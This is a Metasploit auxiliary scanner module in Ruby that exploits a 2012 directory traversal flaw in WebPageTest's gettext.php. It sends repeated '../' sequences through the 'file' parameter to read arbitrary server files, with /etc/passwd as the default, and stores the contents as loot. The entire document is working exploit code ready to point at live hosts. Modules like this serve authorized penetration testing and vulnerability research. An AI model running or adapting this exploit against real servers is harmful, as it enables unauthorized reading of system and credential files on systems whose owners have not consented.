WebPageTest Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WebPageTest Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in WebPageTest.  
Due to the way the gettext.php script handles the 'file' parameter, it is possible  
to read a file outside the www directory.  
},  
'References' =>  
[  
['EDB', '19790'],  
['OSVDB', '83817']  
],  
'Author' =>  
[  
'dun', # Discovery, PoC  
'sinn3r' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2012-07-13'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']),  
OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']),  
OptInt.new('DEPTH', [true, 'The max traversal depth', 11])  
])  
end  
  
  
def run_host(ip)  
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"  
traverse = "../" * datastore['DEPTH']  
uri = normalize_uri(target_uri.path)  
base = File.dirname("#{uri}/.")  
  
print_status("Requesting: #{file} - #{rhost}")  
res = send_request_cgi({  
'uri' => "#{base}/gettext.php",  
'vars_get' => { 'file' => "#{traverse}#{file}" }  
})  
  
if not res  
print_error("No response from server.")  
return  
end  
  
  
if res.code != 200  
print_error("Server returned a non-200 response (body will not be saved):")  
print_line(res.to_s)  
return  
end  
  
vprint_line(res.body)  
p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))  
print_good("File saved as: #{p}")  
end  
end  
`